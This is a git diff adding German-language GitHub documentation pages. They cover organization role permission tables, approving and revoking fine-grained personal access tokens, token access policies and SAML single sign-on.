+| Verwalten von {% data variables.product.prodname_dependabot_security_updates %} (Informationen unter [Informationen zu {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)) | **X** |  |  |  | **X** |
+| [Verwalten der Verzweigungsrichtlinie](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) | **X** |  |  |  |  |
+| [Einschränken von Aktivitäten in öffentlichen Repositorys einer Organisation](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization) | **X** |  |  |  |  |
+| Pullen (Lesen) *aller Repositorys* in der Organisation | **X** |  |  |  | **X** |
+| Pushen (Schreiben) und Klonen (Kopieren) *aller Repositorys* in der Organisation | **X** |  |  |  |  |
+| Umwandeln von Organisationsmitgliedern in [externe Mitarbeiter*innen](#outside-collaborators) | **X** |  |  |  |  |
+| [Anzeigen von Personen mit Zugriff auf ein Repository der Organisation](/articles/viewing-people-with-access-to-your-repository) | **X** |  |  |  |  |{% ifversion ghec %}
+| [Exportieren einer Liste der Personen mit Zugriff auf ein Repository der Organisation](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** |  |  |  |  |{% endif %}
+| Verwalten des Standardbranchnamens (weitere Informationen findest du unter [Verwalten des Standardbranchnamens für Repositorys in deiner Organisation](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)) | **X** |  |  |  |  |
+| Verwalten von Standardbezeichnungen (weitere Informationen findest du unter [Verwalten von Standardbezeichnungen für Repositorys in deiner Organisation](/articles/managing-default-labels-for-repositories-in-your-organization)) | **X** |  |  |  |  |{% ifversion ghec %}
+| Aktivieren der Teamsynchronisierung (weitere Informationen findest du unter [Verwalten der Teamsynchronisierung für deine Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)) | **X** |  |  |  |  |{% endif %}
+| Verwalten von Pull Request-Überprüfungen in der Organisation (weitere Informationen findest du unter [Verwalten von Pull Request-Überprüfungen in deiner Organisation](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization)) | **X** |  |  |  |  |
+
+{% elsif ghes or ghae %}
+<!-- GHES 3.3+ and eventual GHAE release don't have the extra columns for Moderators and Billing managers. -->
+
+| Aktion in der Organisation | Besitzer | Member | Sicherheitsmanager |
+|:--------------------|:------:|:-------:|:-------:|
+| Personen zum Beitritt zur Organisation einladen | **X** |  |  |
+| Einladungen zum Beitritt zu der Organisation bearbeiten und zurückziehen | **X** |  |  |
+| Mitglied aus der Organisation entfernen | **X** | | |  |
+| Ehemaliges Mitglied der Organisation wieder einsetzen | **X** | | |  |
+| Hinzufügen und Entfernen von Personen aus **allen Teams** | **X** |  |  |
+| Höherstufen von Organisationsmitgliedern auf die Rolle des *Maintainers für ein Team* | **X** |  |  |
+| Konfigurieren von Code Review-Zuweisungen (weitere Informationen findest du unter [Verwalten von Code Review-Zuweisungen für dein Team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)) | **X** |  |  |
+| Hinzufügen von Mitarbeiter*innen zu **allen Repositorys** | **X** |  |  |
+| Auf das Auditprotokoll der Organisation zugreifen | **X** |  |  |
+| Bearbeiten der Profilseite deiner Organisation (weitere Informationen findest du unter [Informationen zum Profil deiner Organisation](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)) | **X** |  |  |{% ifversion ghes %}
+| Überprüfen der Domänen deiner Organisation (weitere Informationen finest du unter [Überprüfen der Domäne deiner Organisation](/articles/verifying-your-organization-s-domain)) | **X** |  |  |
+| Einschränken von E-Mail-Benachrichtigungen auf überprüfte oder genehmigte Domänen (weitere Informationen findest du unter [Einschränken von E-Mail-Benachrichtigungen für deine Organisation](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)) | **X** |  |  |{% endif %}
+| Löschen **aller Teams** | **X** |  |  |
+| Das Organisationskonto einschließlich aller Repositorys löschen | **X** |  |  |
+| Erstellen von Teams (weitere Informationen findest du unter [Festlegen von Berechtigungen zur Teamerstellung in deiner Organisation](/articles/setting-team-creation-permissions-in-your-organization)) | **X** | **X** | **X**  |
+| Alle Organisationsmitglieder und Teams sehen | **X** | **X** | **X**  |
+| @mention aller sichtbaren Teams | **X** | **X** | **X**  |
+| Kann die Rolle des *Maintainers für ein Team* zugewiesen werden | **X** | **X** | **X**  |
+| Repositorys übertragen | **X** | |  |
+| Verwalten von Sicherheits- und Analyseeinstellungen (weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)) | **X** | | **X** |{% ifversion ghes %}
+| Anzeigen der Sicherheitsübersicht für die Organisation (Informationen unter [Informationen zur Sicherheitsübersicht](/code-security/security-overview/about-the-security-overview)) | **X** | | **X** |{% endif %}{% ifversion ghes %}
+| Verwalten von {% data variables.product.prodname_dependabot_security_updates %} (Informationen unter [Informationen zu {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)) | **X** | | **X** |{% endif %}
+| Verwalten der SSH-Zertifizierungsstellen einer Organisation (weitere Informationen findest du unter [Verwalten der SSH-Zertifizierungsstellen deiner Organisation](/articles/managing-your-organizations-ssh-certificate-authorities)) | **X** |  |  |
+| Erstellen von Projektboards (Informationen unter [Berechtigungen für Projektboards einer Organisation](/articles/project-board-permissions-for-an-organization)) | **X** | **X** | **X** |
+| Anzeigen und Posten von öffentlichen Teamdiskussionen für **alle Teams** (Informationen unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** | **X** | **X**  |
+| Anzeigen und Posten von privaten Teamdiskussionen für **alle Teams** (Informationen unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** |  |  |
+| Bearbeiten und Löschen von Teamdiskussionen in **allen Teams** (Informationen unter [Verwalten störender Kommentare](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** |  |  |  |
+| Ausblenden von Kommentaren zu Commits, Pull Requests und Issues (Informationen unter [Verwalten störender Kommentare](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)) | **X** | **X** | **X**  |
+| Deaktivieren von Teamdiskussionen für eine Organisation (weitere Informationen findest du unter [Deaktivieren von Teamdiskussionen für deine Organisation](/articles/disabling-team-discussions-for-your-organization)) | **X** |  |  |
+| Festlegen eines Teamprofilbilds für **alle Teams** (weitere Informationen findest du unter [Festlegen des Profilbilds deines Teams](/articles/setting-your-team-s-profile-picture)) | **X** |  |  |{% ifversion ghes %}
+| Verwalten der Veröffentlichung von {% data variables.product.prodname_pages %}-Websites aus Repositorys in der Organisation (weitere Informationen findest du unter [Verwalten der Veröffentlichung von {% data variables.product.prodname_pages %}-Websites für deine Organisation](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)) | **X** | |  |{% endif %}
+| [Verschieben von Teams in der Hierarchie einer Organisation](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |
+| Pullen (Lesen) *aller Repositorys* in der Organisation | **X** | | **X** |
+| Pushen (Schreiben) und Klonen (Kopieren) *aller Repositorys* in der Organisation | **X** | |  |
+| Umwandeln von Organisationsmitgliedern in [externe Mitarbeiter*innen](#outside-collaborators) | **X** | |  |
+| [Anzeigen von Personen mit Zugriff auf ein Repository der Organisation](/articles/viewing-people-with-access-to-your-repository) | **X** | |  |
+| [Exportieren einer Liste der Personen mit Zugriff auf ein Repository der Organisation](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | |  |
+| Verwalten von Standardbezeichnungen (weitere Informationen findest du unter [Verwalten von Standardbezeichnungen für Repositorys in deiner Organisation](/articles/managing-default-labels-for-repositories-in-your-organization)) | **X** | |  |{% ifversion pull-request-approval-limit %}
+| Verwalten von Pull Request-Überprüfungen in der Organisation (weitere Informationen findest du unter [Verwalten von Pull Request-Überprüfungen in deiner Organisation](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization)) | **X** |  | |  |{% endif %}
+{% ifversion ghae %}| Verwalten der Liste zugelassener IP-Adressen (weitere Informationen findest du unter [Einschränken des Netzwerkdatenverkehrs in deinem Unternehmen](/admin/configuration/restricting-network-traffic-to-your-enterprise)) | **X** | |  |{% endif %}
+
+{% else %}
+<!-- GHES and GHAE older versions don't have columns for Moderators, Billing managers or Security managers. -->
+
+| Aktion in der Organisation | Besitzer | Member |
+|:--------------------|:------:|:-------:|
+| Personen zum Beitritt zur Organisation einladen | **X** |  |
+| Einladungen zum Beitritt zu der Organisation bearbeiten und zurückziehen | **X** |  |
+| Mitglied aus der Organisation entfernen | **X** | | |
+| Ehemaliges Mitglied der Organisation wieder einsetzen | **X** | | |
+| Hinzufügen und Entfernen von Personen aus **allen Teams** | **X** |  |  
+| Höherstufen von Organisationsmitgliedern auf die Rolle des *Maintainers für ein Team* | **X** |  |
+| Konfigurieren von Code Review-Zuweisungen (weitere Informationen findest du unter [Verwalten von Code Review-Einstellungen für dein Team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)) | **X** |  |
+| Hinzufügen von Mitarbeiter*innen zu **allen Repositorys** | **X** |  |
+| Auf das Auditprotokoll der Organisation zugreifen | **X** |  |
+| Bearbeiten der Profilseite deiner Organisation (weitere Informationen findest du unter [Informationen zum Profil deiner Organisation](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)) | **X** |  |  |{% ifversion ghes %}
+| Überprüfen der Domänen deiner Organisation (weitere Informationen finest du unter [Überprüfen der Domäne deiner Organisation](/articles/verifying-your-organization-s-domain)) | **X** |  |
+| Einschränken von E-Mail-Benachrichtigungen auf überprüfte oder genehmigte Domänen (weitere Informationen findest du unter [Einschränken von E-Mail-Benachrichtigungen für deine Organisation](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)) | **X** |  |{% endif %}
+| Löschen **aller Teams** | **X** |  |
+| Das Organisationskonto einschließlich aller Repositorys löschen | **X** |  |
+| Erstellen von Teams (weitere Informationen findest du unter [Festlegen von Berechtigungen zur Teamerstellung in deiner Organisation](/articles/setting-team-creation-permissions-in-your-organization)) | **X** | **X** |
+| Alle Organisationsmitglieder und Teams sehen | **X** | **X** |
+| @mention aller sichtbaren Teams | **X** | **X** |
+| Kann die Rolle des *Maintainers für ein Team* zugewiesen werden | **X** | **X** |
+| Repositorys übertragen | **X** | |
+| Verwalten der SSH-Zertifizierungsstellen einer Organisation (weitere Informationen findest du unter [Verwalten der SSH-Zertifizierungsstellen deiner Organisation](/articles/managing-your-organizations-ssh-certificate-authorities)) | **X** |  |
+| Erstellen von Projektboards (Informationen unter [Berechtigungen für Projektboards einer Organisation](/articles/project-board-permissions-for-an-organization)) | **X** | **X** | |
+| Anzeigen und Posten von öffentlichen Teamdiskussionen für **alle Teams** (Informationen unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** | **X** |  |
+| Anzeigen und Posten von privaten Teamdiskussionen für **alle Teams** (Informationen unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** |  |  |
+| Bearbeiten und Löschen von Teamdiskussionen in **allen Teams** (Informationen unter [Verwalten störender Kommentare](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** |  |  |
+| Ausblenden von Kommentaren zu Commits, Pull Requests und Issues (Informationen unter [Verwalten störender Kommentare](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)) | **X** | **X** | **X** |
+| Deaktivieren von Teamdiskussionen für eine Organisation (weitere Informationen findest du unter [Deaktivieren von Teamdiskussionen für deine Organisation](/articles/disabling-team-discussions-for-your-organization)) | **X** |  |  |
+| Festlegen eines Teamprofilbilds für **alle Teams** (weitere Informationen findest du unter [Festlegen des Profilbilds deines Teams](/articles/setting-your-team-s-profile-picture)) | **X** |  |  |{% ifversion ghes %}
+| Verwalten der Veröffentlichung von {% data variables.product.prodname_pages %}-Websites aus Repositorys in der Organisation (weitere Informationen findest du unter [Verwalten der Veröffentlichung von {% data variables.product.prodname_pages %}-Websites für deine Organisation](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)) | **X** | |{% endif %}
+| [Verschieben von Teams in der Hierarchie einer Organisation](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |
+| Pullen (Lesen), Pushen (Schreiben) und Klonen (Kopieren) *aller Repositorys* in der Organisation | **X** | |
+| Umwandeln von Organisationsmitgliedern in [externe Mitarbeiter*innen](#outside-collaborators) | **X** | |
+| [Anzeigen von Personen mit Zugriff auf ein Repository der Organisation](/articles/viewing-people-with-access-to-your-repository) | **X** | |
+| [Exportieren einer Liste der Personen mit Zugriff auf ein Repository der Organisation](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | |
+| Verwalten von Standardbezeichnungen (weitere Informationen findest du unter [Verwalten von Standardbezeichnungen für Repositorys in deiner Organisation](/articles/managing-default-labels-for-repositories-in-your-organization)) | **X** | |
+{% ifversion ghae %}| Verwalten der Liste zugelassener IP-Adressen (weitere Informationen findest du unter [Einschränken des Netzwerkdatenverkehrs in deinem Unternehmen](/admin/configuration/restricting-network-traffic-to-your-enterprise)) | **X** | |{% endif %}
+
+{% endif %}
+
+## Weitere Informationsquellen
+
+- [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
+- [Projektboardberechtigungen für eine Organisation](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)
diff --git a/translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md b/translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md
new file mode 100644
index 0000000000..fb45074fba
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md
@@ -0,0 +1,40 @@
+---
+title: Managing requests for personal access tokens in your organization
+intro: 'Organization owners can approve or deny {% data variables.product.pat_v2 %}s that request access to their organization.'
+versions:
+  feature: pat-v2
+shortTitle: Manage token requests
+---
+
+{% data reusables.user-settings.pat-v2-org-opt-in %}
+
+## About {% data variables.product.pat_v2 %} requests
+
+When organization members create a {% data variables.product.pat_v2 %} to access resources owned by the organization, if the organization requires approval for {% data variables.product.pat_v2 %}s, then an organization owner must approve the token before it can be used to access any resources that are not public. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)."
+
+{% data variables.product.company_short %} will notify organization owners with a daily email about all {% data variables.product.pat_v2 %}s that are awaiting approval. When a token is denied or approved, the user who created the token will receive an email notification.
+
+{% note %}
+
+**Note**: Only {% data variables.product.pat_v2 %}s, not {% data variables.product.pat_v1_plural %}, are subject to approval. Unless the organization has restricted access by {% data variables.product.pat_v1_plural %}, any {% data variables.product.pat_v1 %} can access organization resources without prior approval. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)."
+
+{% endnote %}
+
+## Managing {% data variables.product.pat_v2 %} requests
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Pending requests**. If any tokens are pending approval for your organization, they will be displayed.
+1. Click the name of the token that you want to approve or deny.
+1. Review the access and permissions that the token is requesting.
+1. To grant the token access to the organization, click **Approve**. To deny the token access to the organization, click **Deny**.
+1. If you denied the request, in the confirmation box, optionally enter the reason that you denied the token. This reason will be shared in the notification that is sent to the token owner. Then, click **Deny**.
+
+Alternatively, you can approve or deny multiple tokens at once:
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Pending requests**. If any tokens are pending approval for your organization, they will be displayed.
+{% data reusables.user-settings.patv2-filters %}
+1. Select each token that you want to approve or reject.
+1. Select the **request selected...** dropdown menu and click **Approve...** or **Deny...**.
diff --git a/translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md b/translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md
new file mode 100644
index 0000000000..40b6825eff
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md
@@ -0,0 +1,37 @@
+---
+title: Reviewing and revoking personal access tokens in your organization
+intro: 'Organization owners can review the {% data variables.product.pat_v2 %}s that can access their organization. They can also revoke access of specific {% data variables.product.pat_v2 %}s.'
+versions:
+  feature: pat-v2
+shortTitle: Review token access
+---
+
+{% data reusables.user-settings.pat-v2-org-opt-in %}
+
+## About reviewing and revoking  {% data variables.product.pat_v2 %}s
+
+Organization owners can view all {% data variables.product.pat_v2 %}s that can access resources owned by the organization. Organization owners can also revoke access by {% data variables.product.pat_v2 %}s. When a {% data variables.product.pat_v2 %} is revoked, SSH keys created by the token will continue to work and the token will still be able to read public resources within the organization.
+
+When a token is revoked, the user who created the token will receive an email notification.
+
+Organization owners can only view and revoke {% data variables.product.pat_v2 %}s, not {% data variables.product.pat_v1_plural %}. Unless the organization {% ifversion ghec or ghes or ghae %}or enterprise {% endif %}has restricted access by {% data variables.product.pat_v1_plural %}, any {% data variables.product.pat_v1 %} can access organization resources until the token expires. For more information about restricting access by {% data variables.product.pat_v1_plural %}, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)"{% ifversion ghec or ghes or ghae %} and "[Enforcing policies for {% data variables.product.pat_generic %}s in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise)"{% endif %}.
+
+{% ifversion ghec %} Organization owners can also view and revoke {% data variables.product.pat_v1_plural %} if their organization requires SAML single-sign on. For more information, see "[Viewing and managing a user's SAML access to your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-authorized-credentials)". For more information about using the REST API to do this, see "[List SAML SSO authorizations for an organization](/rest/orgs/orgs#list-saml-sso-authorizations-for-an-organization)" and "[Remove a SAML SSO authorization for an organization](/rest/orgs/orgs#remove-a-saml-sso-authorization-for-an-organization)."{% endif %}
+
+## Reviewing and revoking  {% data variables.product.pat_v2 %}s
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Active tokens**. Any {% data variables.product.pat_v2 %}s that can access your organization will be displayed.
+1. Click the name of the token that you want review or revoke.
+1. Review the access and permissions that the token has.
+1. To revoke access by the token to the organization, click **Revoke**.
+
+Alternatively, you can revoke multiple tokens at once:
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Active tokens**. Any {% data variables.product.pat_v2 %}s that can access your organization will be displayed.
+{% data reusables.user-settings.patv2-filters %}
+1. Select each token that you want to revoke.
+1. Select the **tokens selected...** dropdown menu and click **Revoke...**.
diff --git a/translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md b/translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md
new file mode 100644
index 0000000000..9aa364cdc9
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md
@@ -0,0 +1,59 @@
+---
+title: Festlegen einer Richtlinie für persönliche Zugriffstoken für deine Organisation
+intro: 'Organisationsbesitzer können steuern, ob {% data variables.product.pat_v2 %} und {% data variables.product.pat_v1_plural %} zulässig sein sollen, und ob eine Genehmigung für {% data variables.product.pat_v2 %} erforderlich sein soll.'
+versions:
+  feature: pat-v2
+shortTitle: Set a token policy
+ms.openlocfilehash: 6e05b65ae6814ef9101ed91fdd4a68435e4ba291
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106469'
+---
+{% data reusables.user-settings.pat-v2-org-opt-in %}
+
+## Einschränken des Zugriffs über {% data variables.product.pat_v2 %}
+
+Organisationsbesitzer können den Zugriff über {% data variables.product.pat_v2 %} auf Ressourcen verhindern, die der Organisation gehören. {% data variables.product.pat_v2_caps %} ermöglichen weiterhin das Lesen öffentlicher Ressourcen innerhalb der Organisation. Diese Einstellung steuert nur den Zugriff über {% data variables.product.pat_v2 %}, nicht über {% data variables.product.pat_v1_plural %}. Weitere Informationen zur Einschränkung des Zugriffs über {% data variables.product.pat_v1_plural %} findest du auf dieser Seite unter [Einschränken des Zugriffs über {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic).
+
+{% ifversion ghec or ghes or ghae %} Befindet sich die Organisation im Besitz eines Unternehmens und wurde der Zugriff über {% data variables.product.pat_v2 %} durch den Unternehmensbesitzer eingeschränkt, kann die Richtlinie in der Organisation nicht außer Kraft gesetzt werden. Weitere Informationen findest du unter [Erzwingen von Richtlinien für {% data variables.product.pat_generic %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise).{% endif %}
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Klicke in der linken Randleiste unter **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}** auf **Einstellungen**.
+1. Wähle unter **{% data variables.product.pat_v2_caps %}** die gewünschte Option aus:
+   - **Zugriff über {% data variables.product.pat_v2 %} zulassen**: {% data variables.product.pat_v2_caps %} können auf Ressourcen im Besitz der Organisation zugreifen.
+   - **Zugriff über {% data variables.product.pat_v2 %} einschränken**: {% data variables.product.pat_v2_caps %} können nicht auf Ressourcen im Besitz der Organisation zugreifen. Durch {% data variables.product.pat_v2 %} erstellte SSH-Schlüssel funktionieren weiterhin.
+1. Klicken Sie auf **Speichern**.
+
+## Erzwingen einer Richtlinie zur Genehmigung von {% data variables.product.pat_v2 %}
+
+Organisationsbesitzer können eine Genehmigung für {% data variables.product.pat_v2 %} anfordern, die auf die Organisation zugreifen können. {% data variables.product.pat_v2_caps %} ermöglichen weiterhin das Lesen öffentlicher Ressourcen innerhalb der Organisation ohne Genehmigung. Von Organisationsbesitzern erstellte {% data variables.product.pat_v2_caps %} benötigen keine Genehmigung.
+
+{% ifversion ghec or ghes or ghae %} Befindet sich die Organisation im Besitz eines Unternehmens und wurde eine Richtlinie zur Genehmigung von {% data variables.product.pat_v2 %} durch den Unternehmensbesitzer festgelegt, kann die Richtlinie in der Organisation nicht außer Kraft gesetzt werden. Weitere Informationen findest du unter [Erzwingen von Richtlinien für {% data variables.product.pat_generic %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise).{% endif %}
+
+{% note %}
+
+**Hinweis**: Nur {% data variables.product.pat_v2 %} erfordern eine Genehmigung. Dies gilt nicht für {% data variables.product.pat_v1_plural %}. Sofern die Organisation den Zugriff über {% data variables.product.pat_v1_plural %} nicht eingeschränkt hat, können {% data variables.product.pat_v1 %} ohne vorherige Genehmigung auf Organisationsressourcen zugreifen. Weitere Informationen findest du auf dieser Seite unter [Einschränken des Zugriffs über {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic).
+
+{% endnote %}
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Klicke in der linken Randleiste unter **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}** auf **Einstellungen**.
+1. Wähle unter **Genehmigung für {% data variables.product.pat_v2 %} anfordern** die gewünschte Option aus:
+   - **Genehmigung durch Administrator erforderlich**: Ein Organisationsbesitzer muss alle {% data variables.product.pat_v2 %} genehmigen, die auf die Organisation zugreifen können. Von Organisationsbesitzern erstellte {% data variables.product.pat_v2_caps %} benötigen keine Genehmigung.
+   - **Genehmigung durch Administrator nicht erforderlich**: Von Organisationsmitgliedern erstellte {% data variables.product.pat_v2_caps %} können ohne vorherige Genehmigung auf Ressourcen in der Organisation zugreifen.
+1. Klicken Sie auf **Speichern**.
+
+## Einschränken des Zugriffs über {% data variables.product.pat_v1_plural %}
+
+Organisationsbesitzer können den Zugriff über {% data variables.product.pat_v1_plural %} auf Ressourcen verhindern, die der Organisation gehören. {% data variables.product.pat_v1_caps_plural %} ermöglichen weiterhin das Lesen öffentlicher Ressourcen innerhalb der Organisation. Diese Einstellung steuert nur den Zugriff über {% data variables.product.pat_v1_plural %}, nicht über {% data variables.product.pat_v2 %}. Weitere Informationen zur Einschränkung des Zugriffs über {% data variables.product.pat_v2 %} findest du auf dieser Seite unter [Einschränken des Zugriffs über {% data variables.product.pat_v2 %}](#restricting-access-by-fine-grained-personal-access-tokens).
+
+{% ifversion ghec or ghes or ghae %} Befindet sich die Organisation im Besitz eines Unternehmens und wurde der Zugriff über {% data variables.product.pat_v1_plural %} durch den Unternehmensbesitzer eingeschränkt, kann die Richtlinie in der Organisation nicht außer Kraft gesetzt werden. Weitere Informationen findest du unter [Erzwingen von Richtlinien für {% data variables.product.pat_generic %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise).{% endif %}
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Klicke in der linken Randleiste unter **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}** auf **Einstellungen**.
+1. Wähle unter **{% data variables.product.pat_v1_caps %}** die gewünschte Option aus:
+   - **Zugriff über {% data variables.product.pat_v1_plural %} zulassen**: {% data variables.product.pat_v1_caps_plural %} können auf Ressourcen im Besitz der Organisation zugreifen.
+   - **Zugriff über {% data variables.product.pat_v1_plural %} einschränken**: {% data variables.product.pat_v1_caps_plural %} können nicht auf Ressourcen im Besitz der Organisation zugreifen. Durch {% data variables.product.pat_v1_plural %} erstellte SSH-Schlüssel funktionieren weiterhin.
+1. Klicken Sie auf **Speichern**.
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
new file mode 100644
index 0000000000..0597245e72
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
@@ -0,0 +1,80 @@
+---
+title: Informationen zur Identitäts- und Zugriffsverwaltung mit SAML-SSO
+intro: 'Wenn du die Identitäten und Anwendungen von Benutzer*innen zentral mit einem Identitätsanbieter (IdP) verwaltest, kannst du einmalige SAML-Anmeldung (Security Assertion Markup Language) konfigurieren, um die Ressourcen deiner Organisation in {% data variables.product.prodname_dotcom %} zu schützen.'
+redirect_from:
+  - /articles/about-identity-and-access-management-with-saml-single-sign-on
+  - /github/setting-up-and-managing-organizations-and-teams/about-identity-and-access-management-with-saml-single-sign-on
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: IAM with SAML SSO
+ms.openlocfilehash: 63ed023c1ca5d52ea7b06f5fd485c5e0b34c9750
+ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/31/2022
+ms.locfileid: '148120617'
+---
+{% data reusables.saml.ghec-only %}
+
+## Informationen zu SAML SSO
+
+{% data reusables.saml.dotcom-saml-explanation %}
+
+{% data reusables.saml.saml-accounts %}
+
+{% data reusables.saml.resources-without-sso %}
+
+{% data reusables.saml.outside-collaborators-exemption %}
+
+Organisationsbesitzer können SAML-SSO für eine einzelne Organisation erzwingen, oder Unternehmensbesitzer können SAML-SSO für alle Organisationen in einem Unternehmenskonto erzwingen. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Unternehmen](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise).
+
+Bevor Du SAML SSO für Deine Organisation aktivierst, musst Du Deinen IdP mit Deiner Organisation verbinden. Weitere Informationen findest du unter [Verbinden deines Identitätsanbieters mit deiner Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization).
+
+SAML SSO kann in einer Organisation entweder deaktiviert, aktiviert aber nicht erzwungen, oder aktiviert und erzwungen sein. Nachdem Du SAML SSO für Deine Organisation aktiviert hast und die Mitglieder Deiner Organisation sich erfolgreich mit Deinem IdP authentifizieren können, kannst Du die SAML SSO Konfiguration erzwingen. Weitere Informationen zum Erzwingen von SAML-SSO für deine {% data variables.product.prodname_dotcom %}-Organisation findest du unter [Erzwingen von SAML-SSO für deine Organisation](/articles/enforcing-saml-single-sign-on-for-your-organization).
+
